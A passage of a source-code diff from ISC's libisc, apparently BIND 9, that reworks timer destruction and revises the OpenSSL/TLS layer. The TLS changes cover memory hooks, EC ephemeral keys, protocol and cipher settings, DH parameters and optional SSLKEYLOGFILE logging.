+	isc_timer_t *timer = NULL;
 
-	*managerp = manager;
+	REQUIRE(timerp != NULL && VALID_TIMER(*timerp));
 
-	return (ISC_R_SUCCESS);
-}
+	timer = *timerp;
+	*timerp = NULL;
 
-void
-isc_timermgr_poke(isc_timermgr_t *manager) {
-	REQUIRE(VALID_MANAGER(manager));
+	REQUIRE(timer->loop == isc_loop_current(timer->loop->loopmgr));
 
-	SIGNAL(&manager->wakeup);
+	timer_destroy(timer);
 }
 
 void
-isc__timermgr_destroy(isc_timermgr_t **managerp) {
-	isc_timermgr_t *manager;
-
-	/*
-	 * Destroy a timer manager.
-	 */
-
-	REQUIRE(managerp != NULL);
-	manager = *managerp;
-	REQUIRE(VALID_MANAGER(manager));
-
-	LOCK(&manager->lock);
+isc_timer_async_destroy(isc_timer_t **timerp) {
+	isc_timer_t *timer = NULL;
 
-	REQUIRE(EMPTY(manager->timers));
-	manager->done = true;
+	REQUIRE(timerp != NULL && VALID_TIMER(*timerp));
 
-	XTRACE("signal (destroy)");
-	SIGNAL(&manager->wakeup);
-
-	UNLOCK(&manager->lock);
-
-	/*
-	 * Wait for thread to exit.
-	 */
-	isc_thread_join(manager->thread, NULL);
-
-	/*
-	 * Clean up.
-	 */
-	(void)isc_condition_destroy(&manager->wakeup);
-	isc_mutex_destroy(&manager->lock);
-	isc_heap_destroy(&manager->heap);
-	manager->magic = 0;
-	isc_mem_putanddetach(&manager->mctx, manager, sizeof(*manager));
+	timer = *timerp;
+	*timerp = NULL;
 
-	*managerp = NULL;
+	isc_timer_stop(timer);
+	isc_async_run(timer->loop, timer_destroy, timer);
 }
diff --git a/lib/isc/timer_p.h b/lib/isc/timer_p.h
deleted file mode 100644
index dca9d72466..0000000000
--- a/lib/isc/timer_p.h
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-#include <isc/mem.h>
-#include <isc/result.h>
-#include <isc/timer.h>
-
-isc_result_t
-isc__timermgr_create(isc_mem_t *mctx, isc_timermgr_t **managerp);
-/*%<
- * Create a timer manager.
- *
- * Notes:
- *
- *\li	All memory will be allocated in memory context 'mctx'.
- *
- * Requires:
- *
- *\li	'mctx' is a valid memory context.
- *
- *\li	'managerp' points to a NULL isc_timermgr_t.
- *
- * Ensures:
- *
- *\li	'*managerp' is a valid isc_timermgr_t.
- *
- * Returns:
- *
- *\li	Success
- *\li	No memory
- *\li	Unexpected error
- */
-
-void
-isc__timermgr_destroy(isc_timermgr_t **managerp);
-/*%<
- * Destroy a timer manager.
- *
- * Notes:
- *
- *\li	This routine blocks until there are no timers left in the manager,
- *	so if the caller holds any timer references using the manager, it
- *	must detach them before calling isc_timermgr_destroy() or it will
- *	block forever.
- *
- * Requires:
- *
- *\li	'*managerp' is a valid isc_timermgr_t.
- *
- * Ensures:
- *
- *\li	*managerp == NULL
- *
- *\li	All resources used by the manager have been freed.
- */
diff --git a/lib/isc/tls.c b/lib/isc/tls.c
index 5fc293d526..e6996f43a6 100644
--- a/lib/isc/tls.c
+++ b/lib/isc/tls.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,31 +12,49 @@
  */
 
 #include <inttypes.h>
+#include <netinet/in.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#if HAVE_LIBNGHTTP2
 #include <nghttp2/nghttp2.h>
+#endif /* HAVE_LIBNGHTTP2 */
+#include <arpa/inet.h>
 
 #include <openssl/bn.h>
 #include <openssl/conf.h>
+#include <openssl/crypto.h>
+#include <openssl/dh.h>
 #include <openssl/err.h>
+#include <openssl/evp.h>
 #include <openssl/opensslv.h>
 #include <openssl/rand.h>
 #include <openssl/rsa.h>
+#include <openssl/x509_vfy.h>
+#include <openssl/x509v3.h>
 
 #include <isc/atomic.h>
+#include <isc/ht.h>
 #include <isc/log.h>
+#include <isc/magic.h>
+#include <isc/mem.h>
 #include <isc/mutex.h>
 #include <isc/mutexblock.h>
 #include <isc/once.h>
+#include <isc/random.h>
+#include <isc/refcount.h>
+#include <isc/rwlock.h>
+#include <isc/sockaddr.h>
 #include <isc/thread.h>
 #include <isc/tls.h>
 #include <isc/util.h>
 
 #include "openssl_shim.h"
-#include "tls_p.h"
 
-static isc_once_t init_once = ISC_ONCE_INIT;
-static isc_once_t shut_once = ISC_ONCE_INIT;
-static atomic_bool init_done = ATOMIC_VAR_INIT(false);
-static atomic_bool shut_done = ATOMIC_VAR_INIT(false);
+#define COMMON_SSL_OPTIONS \
+	(SSL_OP_NO_COMPRESSION | SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION)
+
+static isc_mem_t *isc__tls_mctx = NULL;
 
 #if OPENSSL_VERSION_NUMBER < 0x10100000L
 static isc_mutex_t *locks = NULL;
@@ -57,30 +77,125 @@ isc__tls_set_thread_id(CRYPTO_THREADID *id) {
 }
 #endif
 
+#ifdef ISC_TEST_OPENSSL_MEMORY_LEAKS
+static atomic_bool handle_fatal = false;
+#else
+static atomic_bool handle_fatal = true;
+#endif
+
+#if !defined(LIBRESSL_VERSION_NUMBER)
+/*
+ * This was crippled with LibreSSL, so just skip it:
+ * https://cvsweb.openbsd.org/src/lib/libcrypto/Attic/mem.c
+ */
+
+#if ISC_MEM_TRACKLINES
+/*
+ * We use the internal isc__mem API here, so we can pass the file and line
+ * arguments passed from OpenSSL >= 1.1.0 to our memory functions for better
+ * tracking of the OpenSSL allocations.  Without this, we would always just see
+ * isc__tls_{malloc,realloc,free} in the tracking output, but with this in place
+ * we get to see the places in the OpenSSL code where the allocations happen.
+ */
+
+static void *
+isc__tls_malloc_ex(size_t size, const char *file, int line) {
+	return (isc__mem_allocate(isc__tls_mctx, size, 0, file,
+				  (unsigned int)line));
+}
+
+static void *
+isc__tls_realloc_ex(void *ptr, size_t size, const char *file, int line) {
+	return (isc__mem_reallocate(isc__tls_mctx, ptr, size, 0, file,
+				    (unsigned int)line));
+}
+
 static void
-tls_initialize(void) {
-	REQUIRE(!atomic_load(&init_done));
+isc__tls_free_ex(void *ptr, const char *file, int line) {
+	if (ptr == NULL) {
+		return;
+	}
+	if (!atomic_load(&handle_fatal) || isc__tls_mctx != NULL) {
+		isc__mem_free(isc__tls_mctx, ptr, 0, file, (unsigned int)line);
+	}
+}
+
+#else /* ISC_MEM_TRACKLINES */
+
+static void *
+isc__tls_malloc_ex(size_t size, const char *file, int line) {
+	UNUSED(file);
+	UNUSED(line);
+	return (isc_mem_allocate(isc__tls_mctx, size));
+}
+
+static void *
+isc__tls_realloc_ex(void *ptr, size_t size, const char *file, int line) {
+	UNUSED(file);
+	UNUSED(line);
+	return (isc_mem_reallocate(isc__tls_mctx, ptr, size));
+}
 
+static void
+isc__tls_free_ex(void *ptr, const char *file, int line) {
+	UNUSED(file);
+	UNUSED(line);
+	if (ptr == NULL) {
+		return;
+	}
+	if (!atomic_load(&handle_fatal) || isc__tls_mctx != NULL) {
+		isc__mem_free(isc__tls_mctx, ptr, 0);
+	}
+}
+
+#endif /* ISC_MEM_TRACKLINES */
+
+#if OPENSSL_VERSION_NUMBER < 0x10100000L
+static void
+isc__tls_free(void *ptr) {
+	isc__tls_free_ex(ptr, __FILE__, __LINE__);
+}
+
+#endif
+
+#endif /* !defined(LIBRESSL_VERSION_NUMBER) */
+
+void
+isc__tls_initialize(void) {
+	isc_mem_create(&isc__tls_mctx);
+	isc_mem_setname(isc__tls_mctx, "OpenSSL");
+	isc_mem_setdestroycheck(isc__tls_mctx, false);
+
+#if !defined(LIBRESSL_VERSION_NUMBER)
+	/*
+	 * CRYPTO_set_mem_(_ex)_functions() returns 1 on success or 0 on
+	 * failure, which means OpenSSL already allocated some memory.  There's
+	 * nothing we can do about it.
+	 */
 #if OPENSSL_VERSION_NUMBER >= 0x10100000L
-	RUNTIME_CHECK(OPENSSL_init_ssl(OPENSSL_INIT_ENGINE_ALL_BUILTIN |
-					       OPENSSL_INIT_LOAD_CONFIG,
-				       NULL) == 1);
+	(void)CRYPTO_set_mem_functions(isc__tls_malloc_ex, isc__tls_realloc_ex,
+				       isc__tls_free_ex);
 #else
-	nlocks = CRYPTO_num_locks();
+	(void)CRYPTO_set_mem_ex_functions(isc__tls_malloc_ex,
+					  isc__tls_realloc_ex, isc__tls_free);
+#endif
+#endif /* !defined(LIBRESSL_VERSION_NUMBER) */
+
+#if OPENSSL_VERSION_NUMBER >= 0x10100000L
+	uint64_t opts = OPENSSL_INIT_ENGINE_ALL_BUILTIN |
+			OPENSSL_INIT_LOAD_CONFIG;
+#if defined(OPENSSL_INIT_NO_ATEXIT)
 	/*
-	 * We can't use isc_mem API here, because it's called too
-	 * early and when the isc_mem_debugging flags are changed
-	 * later and ISC_MEM_DEBUGSIZE or ISC_MEM_DEBUGCTX flags are
-	 * added, neither isc_mem_put() nor isc_mem_free() can be used
-	 * to free up the memory allocated here because the flags were
-	 * not set when calling isc_mem_get() or isc_mem_allocate()
-	 * here.
-	 *
-	 * Actually, since this is a single allocation at library load
-	 * and deallocation at library unload, using the standard
-	 * allocator without the tracking is fine for this purpose.
+	 * We call OPENSSL_cleanup() manually, in a correct order, thus disable
+	 * the automatic atexit() handler.
 	 */
-	locks = calloc(nlocks, sizeof(locks[0]));
+	opts |= OPENSSL_INIT_NO_ATEXIT;
+#endif
+
+	RUNTIME_CHECK(OPENSSL_init_ssl(opts, NULL) == 1);
+#else
+	nlocks = CRYPTO_num_locks();
+	locks = isc_mem_cget(isc__tls_mctx, nlocks, sizeof(locks[0]));
 	isc_mutexblock_init(locks, nlocks);
 	CRYPTO_set_locking_callback(isc__tls_lock_callback);
 	CRYPTO_THREADID_set_callback(isc__tls_set_thread_id);
@@ -90,7 +205,7 @@ tls_initialize(void) {
 	SSL_load_error_strings();
 	SSL_library_init();
 
-#if !defined(OPENSSL_NO_ENGINE)
+#if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000
 	ENGINE_load_builtin_engines();
 #endif
 	OpenSSL_add_all_algorithms();
@@ -103,34 +218,21 @@ tls_initialize(void) {
 
 	/* Protect ourselves against unseeded PRNG */
 	if (RAND_status() != 1) {
-		FATAL_ERROR(__FILE__, __LINE__,
-			    "OpenSSL pseudorandom number generator "
+		FATAL_ERROR("OpenSSL pseudorandom number generator "
 			    "cannot be initialized (see the `PRNG not "
 			    "seeded' message in the OpenSSL FAQ)");
 	}
-
-	REQUIRE(atomic_compare_exchange_strong(&init_done, &(bool){ false },
-					       true));
 }
 
 void
-isc__tls_initialize(void) {
-	isc_result_t result = isc_once_do(&init_once, tls_initialize);
-	REQUIRE(result == ISC_R_SUCCESS);
-	REQUIRE(atomic_load(&init_done));
-}
-
-static void
-tls_shutdown(void) {
-	REQUIRE(atomic_load(&init_done));
-	REQUIRE(!atomic_load(&shut_done));
-
-#if OPENSSL_VERSION_NUMBER < 0x10100000L
-
+isc__tls_shutdown(void) {
+#if OPENSSL_VERSION_NUMBER >= 0x10100000L
+	OPENSSL_cleanup();
+#else
 	CONF_modules_unload(1);
 	OBJ_cleanup();
 	EVP_cleanup();
-#if !defined(OPENSSL_NO_ENGINE)
+#if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000
 	ENGINE_cleanup();
 #endif
 	CRYPTO_cleanup_all_ex_data();
@@ -142,20 +244,17 @@ tls_shutdown(void) {
 
 	if (locks != NULL) {
 		isc_mutexblock_destroy(locks, nlocks);
-		free(locks);
+		isc_mem_cput(isc__tls_mctx, locks, nlocks, sizeof(locks[0]));
 		locks = NULL;
 	}
 #endif
 
-	REQUIRE(atomic_compare_exchange_strong(&shut_done, &(bool){ false },
-					       true));
+	isc_mem_destroy(&isc__tls_mctx);
 }
 
 void
-isc__tls_shutdown(void) {
-	isc_result_t result = isc_once_do(&shut_once, tls_shutdown);
-	REQUIRE(result == ISC_R_SUCCESS);
-	REQUIRE(atomic_load(&shut_done));
+isc__tls_setdestroycheck(bool check) {
+	isc_mem_setdestroycheck(isc__tls_mctx, check);
 }
 
 void
@@ -169,6 +268,44 @@ isc_tlsctx_free(isc_tlsctx_t **ctxp) {
 	SSL_CTX_free(ctx);
 }
 
+void
+isc_tlsctx_attach(isc_tlsctx_t *src, isc_tlsctx_t **ptarget) {
+	REQUIRE(src != NULL);
+	REQUIRE(ptarget != NULL && *ptarget == NULL);
+
+	RUNTIME_CHECK(SSL_CTX_up_ref(src) == 1);
+
+	*ptarget = src;
+}
+
+#if HAVE_SSL_CTX_SET_KEYLOG_CALLBACK
+/*
+ * Callback invoked by the SSL library whenever a new TLS pre-master secret
+ * needs to be logged.
+ */
+static void
+sslkeylogfile_append(const SSL *ssl, const char *line) {
+	UNUSED(ssl);
+
+	isc_log_write(isc_lctx, ISC_LOGCATEGORY_SSLKEYLOG, ISC_LOGMODULE_NETMGR,
+		      ISC_LOG_INFO, "%s", line);
+}
+
+/*
+ * Enable TLS pre-master secret logging if the SSLKEYLOGFILE environment
+ * variable is set.  This needs to be done on a per-context basis as that is
+ * how SSL_CTX_set_keylog_callback() works.
+ */
+static void
+sslkeylogfile_init(isc_tlsctx_t *ctx) {
+	if (getenv("SSLKEYLOGFILE") != NULL) {
+		SSL_CTX_set_keylog_callback(ctx, sslkeylogfile_append);
+	}
+}
+#else /* HAVE_SSL_CTX_SET_KEYLOG_CALLBACK */
+#define sslkeylogfile_init(ctx)
+#endif /* HAVE_SSL_CTX_SET_KEYLOG_CALLBACK */
+
 isc_result_t
 isc_tlsctx_createclient(isc_tlsctx_t **ctxp) {
 	unsigned long err;
@@ -187,15 +324,17 @@ isc_tlsctx_createclient(isc_tlsctx_t **ctxp) {
 		goto ssl_error;
 	}
 
+	SSL_CTX_set_options(ctx, COMMON_SSL_OPTIONS);
+
 #if HAVE_SSL_CTX_SET_MIN_PROTO_VERSION
 	SSL_CTX_set_min_proto_version(ctx, TLS1_2_VERSION);
 #else
-	SSL_CTX_set_options(
-		ctx, SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 | SSL_OP_NO_TLSv1 |
-			     SSL_OP_NO_TLSv1_1 | SSL_OP_NO_COMPRESSION |
-			     SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION);
+	SSL_CTX_set_options(ctx, SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 |
+					 SSL_OP_NO_TLSv1 | SSL_OP_NO_TLSv1_1);
 #endif
 
+	sslkeylogfile_init(ctx);
+
 	*ctxp = ctx;
 
 	return (ISC_R_SUCCESS);
@@ -210,6 +349,26 @@ isc_tlsctx_createclient(isc_tlsctx_t **ctxp) {
 	return (ISC_R_TLSERROR);
 }
 
+isc_result_t
+isc_tlsctx_load_certificate(isc_tlsctx_t *ctx, const char *keyfile,
+			    const char *certfile) {
+	int rv;
+	REQUIRE(ctx != NULL);
+	REQUIRE(keyfile != NULL);
+	REQUIRE(certfile != NULL);
+
+	rv = SSL_CTX_use_certificate_chain_file(ctx, certfile);
+	if (rv != 1) {
+		return (ISC_R_TLSERROR);
+	}
+	rv = SSL_CTX_use_PrivateKey_file(ctx, keyfile, SSL_FILETYPE_PEM);
+	if (rv != 1) {
+		return (ISC_R_TLSERROR);
+	}
+
+	return (ISC_R_SUCCESS);
+}
+
 isc_result_t
 isc_tlsctx_createserver(const char *keyfile, const char *certfile,
 			isc_tlsctx_t **ctxp) {
@@ -218,9 +377,13 @@ isc_tlsctx_createserver(const char *keyfile, const char *certfile,
 	bool ephemeral = (keyfile == NULL && certfile == NULL);
 	X509 *cert = NULL;
 	EVP_PKEY *pkey = NULL;
-	BIGNUM *bn = NULL;
 	SSL_CTX *ctx = NULL;
-	RSA *rsa = NULL;
+#if OPENSSL_VERSION_NUMBER < 0x30000000L
+	EC_KEY *eckey = NULL;
+#else
+	EVP_PKEY_CTX *pkey_ctx = NULL;
+	EVP_PKEY *params_pkey = NULL;
+#endif /* OPENSSL_VERSION_NUMBER < 0x30000000L */
 	char errbuf[256];
 	const SSL_METHOD *method = NULL;
 
@@ -237,6 +400,8 @@ isc_tlsctx_createserver(const char *keyfile, const char *certfile,
 	}
 	RUNTIME_CHECK(ctx != NULL);
 
+	SSL_CTX_set_options(ctx, COMMON_SSL_OPTIONS);
+
 #if HAVE_SSL_CTX_SET_MIN_PROTO_VERSION
 	SSL_CTX_set_min_proto_version(ctx, TLS1_2_VERSION);
 #else
@@ -245,42 +410,114 @@ isc_tlsctx_createserver(const char *keyfile, const char *certfile,
 #endif
 
 	if (ephemeral) {
-		rsa = RSA_new();
-		if (rsa == NULL) {
+		const int group_nid = NID_X9_62_prime256v1;
+
+#if OPENSSL_VERSION_NUMBER < 0x30000000L
+		eckey = EC_KEY_new_by_curve_name(group_nid);
+		if (eckey == NULL) {
 			goto ssl_error;
 		}
-		bn = BN_new();
-		if (bn == NULL) {
+
+		/* Generate the key. */
+		rv = EC_KEY_generate_key(eckey);
+		if (rv != 1) {
+			goto ssl_error;
+		}
+		pkey = EVP_PKEY_new();
+		if (pkey == NULL) {
 			goto ssl_error;
 		}
-		BN_set_word(bn, RSA_F4);
-		rv = RSA_generate_key_ex(rsa, 4096, bn, NULL);
+		rv = EVP_PKEY_set1_EC_KEY(pkey, eckey);
 		if (rv != 1) {
 			goto ssl_error;
 		}
-		cert = X509_new();
-		if (cert == NULL) {
+
+		/* Use a named curve and uncompressed point conversion form. */
+#if HAVE_EVP_PKEY_GET0_EC_KEY
+		EC_KEY_set_asn1_flag(EVP_PKEY_get0_EC_KEY(pkey),
+				     OPENSSL_EC_NAMED_CURVE);
+		EC_KEY_set_conv_form(EVP_PKEY_get0_EC_KEY(pkey),
+				     POINT_CONVERSION_UNCOMPRESSED);
+#else
+		EC_KEY_set_asn1_flag(pkey->pkey.ec, OPENSSL_EC_NAMED_CURVE);
+		EC_KEY_set_conv_form(pkey->pkey.ec,
+				     POINT_CONVERSION_UNCOMPRESSED);
+#endif /* HAVE_EVP_PKEY_GET0_EC_KEY */
+
+#if defined(SSL_CTX_set_ecdh_auto)
+		/*
+		 * Using this macro is required for older versions of OpenSSL to
+		 * automatically enable ECDH support.
+		 *
+		 * On later versions this function is no longer needed and is
+		 * deprecated.
+		 */
+		(void)SSL_CTX_set_ecdh_auto(ctx, 1);
+#endif /* defined(SSL_CTX_set_ecdh_auto) */
+
+		/* Cleanup */
+		EC_KEY_free(eckey);
+		eckey = NULL;
+#else
+		/* Generate the key's parameters. */
+		pkey_ctx = EVP_PKEY_CTX_new_from_name(NULL, "EC", NULL);
+		if (pkey_ctx == NULL) {
 			goto ssl_error;
 		}
-		pkey = EVP_PKEY_new();
-		if (pkey == NULL) {
+		rv = EVP_PKEY_paramgen_init(pkey_ctx);
+		if (rv != 1) {
+			goto ssl_error;
+		}
+		rv = EVP_PKEY_CTX_set_ec_paramgen_curve_nid(pkey_ctx,
+							    group_nid);
+		if (rv != 1) {
+			goto ssl_error;
+		}
+		rv = EVP_PKEY_paramgen(pkey_ctx, &params_pkey);
+		if (rv != 1 || params_pkey == NULL) {
 			goto ssl_error;
 		}
+		EVP_PKEY_CTX_free(pkey_ctx);
+
+		/* Generate the key. */
+		pkey_ctx = EVP_PKEY_CTX_new(params_pkey, NULL);
+		if (pkey_ctx == NULL) {
+			goto ssl_error;
+		}
+		rv = EVP_PKEY_keygen_init(pkey_ctx);
+		if (rv != 1) {
+			goto ssl_error;
+		}
+		rv = EVP_PKEY_keygen(pkey_ctx, &pkey);
+		if (rv != 1 || pkey == NULL) {
+			goto ssl_error;
+		}
+
+		/* Cleanup */
+		EVP_PKEY_free(params_pkey);
+		params_pkey = NULL;
+		EVP_PKEY_CTX_free(pkey_ctx);
+		pkey_ctx = NULL;
+#endif /* OPENSSL_VERSION_NUMBER < 0x30000000L */
+
+		cert = X509_new();
+		if (cert == NULL) {
+			goto ssl_error;
+		}
+
+		ASN1_INTEGER_set(X509_get_serialNumber(cert),
+				 (long)isc_random32());
 
 		/*
-		 * EVP_PKEY_assign_*() set the referenced key to key
-		 * however these use the supplied key internally and so
-		 * key will be freed when the parent pkey is freed.
+		 * Set the "not before" property 5 minutes into the past to
+		 * accommodate with some possible clock skew across systems.
 		 */
-		EVP_PKEY_assign(pkey, EVP_PKEY_RSA, rsa);
-		rsa = NULL;
-		ASN1_INTEGER_set(X509_get_serialNumber(cert), 1);
-
 #if OPENSSL_VERSION_NUMBER < 0x10101000L
-		X509_gmtime_adj(X509_get_notBefore(cert), 0);
+		X509_gmtime_adj(X509_get_notBefore(cert), -300);
 #else
-		X509_gmtime_adj(X509_getm_notBefore(cert), 0);
+		X509_gmtime_adj(X509_getm_notBefore(cert), -300);
 #endif
+
 		/*
 		 * We set the vailidy for 10 years.
 		 */
@@ -319,19 +556,16 @@ isc_tlsctx_createserver(const char *keyfile, const char *certfile,
 
 		X509_free(cert);
 		EVP_PKEY_free(pkey);
-		BN_free(bn);
 	} else {
-		rv = SSL_CTX_use_certificate_chain_file(ctx, certfile);
-		if (rv != 1) {
-			goto ssl_error;
-		}
-		rv = SSL_CTX_use_PrivateKey_file(ctx, keyfile,
-						 SSL_FILETYPE_PEM);
-		if (rv != 1) {
+		isc_result_t result;
+		result = isc_tlsctx_load_certificate(ctx, keyfile, certfile);
+		if (result != ISC_R_SUCCESS) {
 			goto ssl_error;
 		}
 	}
 
+	sslkeylogfile_init(ctx);
+
 	*ctxp = ctx;
 	return (ISC_R_SUCCESS);
 
@@ -351,16 +585,244 @@ isc_tlsctx_createserver(const char *keyfile, const char *certfile,
 	if (pkey != NULL) {
 		EVP_PKEY_free(pkey);
 	}
-	if (bn != NULL) {
-		BN_free(bn);
+#if OPENSSL_VERSION_NUMBER < 0x30000000L
+	if (eckey != NULL) {
+		EC_KEY_free(eckey);
+	}
+#else
+	if (params_pkey != NULL) {
+		EVP_PKEY_free(params_pkey);
 	}
-	if (rsa != NULL) {
-		RSA_free(rsa);
+	if (pkey_ctx != NULL) {
+		EVP_PKEY_CTX_free(pkey_ctx);
 	}
+#endif /* OPENSSL_VERSION_NUMBER < 0x30000000L */
 
 	return (ISC_R_TLSERROR);
 }
 
+static long
+get_tls_version_disable_bit(const isc_tls_protocol_version_t tls_ver) {
+	long bit = 0;
+
+	switch (tls_ver) {
+	case ISC_TLS_PROTO_VER_1_2:
+#ifdef SSL_OP_NO_TLSv1_2
+		bit = SSL_OP_NO_TLSv1_2;
+#else
+		bit = 0;
+#endif
+		break;
+	case ISC_TLS_PROTO_VER_1_3:
+#ifdef SSL_OP_NO_TLSv1_3
+		bit = SSL_OP_NO_TLSv1_3;
+#else
+		bit = 0;
+#endif
+		break;
+	default:
+		UNREACHABLE();
+		break;
+	};
+
+	return (bit);
+}
+
+bool
+isc_tls_protocol_supported(const isc_tls_protocol_version_t tls_ver) {
+	return (get_tls_version_disable_bit(tls_ver) != 0);
+}
+
+isc_tls_protocol_version_t
+isc_tls_protocol_name_to_version(const char *name) {
+	REQUIRE(name != NULL);
+
+	if (strcasecmp(name, "TLSv1.2") == 0) {
+		return (ISC_TLS_PROTO_VER_1_2);
+	} else if (strcasecmp(name, "TLSv1.3") == 0) {
+		return (ISC_TLS_PROTO_VER_1_3);
+	}
+
+	return (ISC_TLS_PROTO_VER_UNDEFINED);
+}
+
+void
+isc_tlsctx_set_protocols(isc_tlsctx_t *ctx, const uint32_t tls_versions) {
+	REQUIRE(ctx != NULL);
+	REQUIRE(tls_versions != 0);
+	long set_options = 0;
+	long clear_options = 0;
+	uint32_t versions = tls_versions;
+
+	/*
+	 * The code below might be initially hard to follow because of the
+	 * double negation that OpenSSL enforces.
+	 *
+	 * Taking into account that OpenSSL provides bits to *disable*
+	 * specific protocol versions, like SSL_OP_NO_TLSv1_2,
+	 * SSL_OP_NO_TLSv1_3, etc., the code has the following logic:
+	 *
+	 * If a protocol version is not specified in the bitmask, get the
+	 * bit that disables it and add it to the set of TLS options to
+	 * set ('set_options'). Otherwise, if a protocol version is set,
+	 * add the bit to the set of options to clear ('clear_options').
+	 */
+
+	/* TLS protocol versions are defined as powers of two. */
+	for (uint32_t tls_ver = ISC_TLS_PROTO_VER_1_2;
+	     tls_ver < ISC_TLS_PROTO_VER_UNDEFINED; tls_ver <<= 1)
+	{
+		if ((tls_versions & tls_ver) == 0) {
+			set_options |= get_tls_version_disable_bit(tls_ver);
+		} else {
+			/*
+			 * Only supported versions should ever be passed to the
+			 * function SSL_CTX_clear_options. For example, in order
+			 * to enable TLS v1.2, we have to clear
+			 * SSL_OP_NO_TLSv1_2. Insist that the configuration file
+			 * was verified properly, so we are not trying to enable
+			 * an unsupported TLS version.
+			 */
+			INSIST(isc_tls_protocol_supported(tls_ver));
+			clear_options |= get_tls_version_disable_bit(tls_ver);
+		}
+		versions &= ~(tls_ver);
+	}
+
+	/* All versions should be processed at this point, thus the value
+	 * must equal zero. If it is not, then some garbage has been
+	 * passed to the function; this situation is worth
+	 * investigation. */
+	INSIST(versions == 0);
+
+	(void)SSL_CTX_set_options(ctx, set_options);
+	(void)SSL_CTX_clear_options(ctx, clear_options);
+}
+
+bool
+isc_tlsctx_load_dhparams(isc_tlsctx_t *ctx, const char *dhparams_file) {
+	REQUIRE(ctx != NULL);
+	REQUIRE(dhparams_file != NULL);
+	REQUIRE(*dhparams_file != '\0');
+
+#if OPENSSL_VERSION_NUMBER < 0x30000000L
+	/* OpenSSL < 3.0 */
+	DH *dh = NULL;
+	FILE *paramfile;
+
+	paramfile = fopen(dhparams_file, "r");
+
+	if (paramfile) {
+		int check = 0;
+		dh = PEM_read_DHparams(paramfile, NULL, NULL, NULL);
+		fclose(paramfile);
+
+		if (dh == NULL) {
+			return (false);
+		} else if (DH_check(dh, &check) != 1 || check != 0) {
+			DH_free(dh);
+			return (false);
+		}
+	} else {
+		return (false);
+	}
+
+	if (SSL_CTX_set_tmp_dh(ctx, dh) != 1) {
+		DH_free(dh);
+		return (false);
+	}
+
+	DH_free(dh);
+#else
+	/* OpenSSL >= 3.0: low level DH APIs are deprecated in OpenSSL 3.0 */
+	EVP_PKEY *dh = NULL;
+	BIO *bio = NULL;
+
+	bio = BIO_new_file(dhparams_file, "r");
+	if (bio == NULL) {
+		return (false);
+	}
+
+	dh = PEM_read_bio_Parameters(bio, NULL);
+	if (dh == NULL) {
+		BIO_free(bio);
+		return (false);
+	}
+
+	if (SSL_CTX_set0_tmp_dh_pkey(ctx, dh) != 1) {
+		BIO_free(bio);
+		EVP_PKEY_free(dh);
+		return (false);
+	}
+
+	/* No need to call EVP_PKEY_free(dh) as the "dh" is owned by the
+	 * SSL context at this point. */
+
+	BIO_free(bio);
+#endif /* OPENSSL_VERSION_NUMBER < 0x30000000L */
+
+	return (true);
+}
+
+bool
+isc_tls_cipherlist_valid(const char *cipherlist) {
+	isc_tlsctx_t *tmp_ctx = NULL;
+	const SSL_METHOD *method = NULL;
+	bool result;
+	REQUIRE(cipherlist != NULL);
+
+	if (*cipherlist == '\0') {
+		return (false);
+	}
+
+	method = TLS_server_method();
+	if (method == NULL) {
+		return (false);
+	}
+	tmp_ctx = SSL_CTX_new(method);
+	if (tmp_ctx == NULL) {
+		return (false);
+	}
+
+	result = SSL_CTX_set_cipher_list(tmp_ctx, cipherlist) == 1;
+
+	isc_tlsctx_free(&tmp_ctx);
+
+	return (result);
+}
+
+void
+isc_tlsctx_set_cipherlist(isc_tlsctx_t *ctx, const char *cipherlist) {
+	REQUIRE(ctx != NULL);
+	REQUIRE(cipherlist != NULL);
+	REQUIRE(*cipherlist != '\0');
+
+	RUNTIME_CHECK(SSL_CTX_set_cipher_list(ctx, cipherlist) == 1);
+}
+
+void
+isc_tlsctx_prefer_server_ciphers(isc_tlsctx_t *ctx, const bool prefer) {
+	REQUIRE(ctx != NULL);
+
+	if (prefer) {
+		(void)SSL_CTX_set_options(ctx, SSL_OP_CIPHER_SERVER_PREFERENCE);
+	} else {
+		(void)SSL_CTX_clear_options(ctx,
+					    SSL_OP_CIPHER_SERVER_PREFERENCE);
+	}
+}
+
+void
+isc_tlsctx_session_tickets(isc_tlsctx_t *ctx, const bool use) {
+	REQUIRE(ctx != NULL);
+
+	if (!use) {
+		(void)SSL_CTX_set_options(ctx, SSL_OP_NO_TICKET);
+	} else {
+		(void)SSL_CTX_clear_options(ctx, SSL_OP_NO_TICKET);
+	}
+}
+
 isc_tls_t *
 isc_tls_create(isc_tlsctx_t *ctx) {
 	isc_tls_t *newctx = NULL;
@@ -382,12 +844,22 @@ isc_tls_create(isc_tlsctx_t *ctx) {
 
 void
 isc_tls_free(isc_tls_t **tlsp) {
+	isc_tls_t *tls = NULL;
 	REQUIRE(tlsp != NULL && *tlsp != NULL);
 
-	SSL_free(*tlsp);
+	tls = *tlsp;
 	*tlsp = NULL;
+	SSL_free(tls);
+}
+
+const char *
+isc_tls_verify_peer_result_string(isc_tls_t *tls) {
+	REQUIRE(tls != NULL);
+
+	return (X509_verify_cert_error_string(SSL_get_verify_result(tls)));
 }
 
+#if HAVE_LIBNGHTTP2
 #ifndef OPENSSL_NO_NEXTPROTONEG
 /*
  * NPN TLS extension client callback.
@@ -463,10 +935,11 @@ isc_tlsctx_enable_http2server_alpn(isc_tlsctx_t *tls) {
 	SSL_CTX_set_alpn_select_cb(tls, alpn_select_proto_cb, NULL);
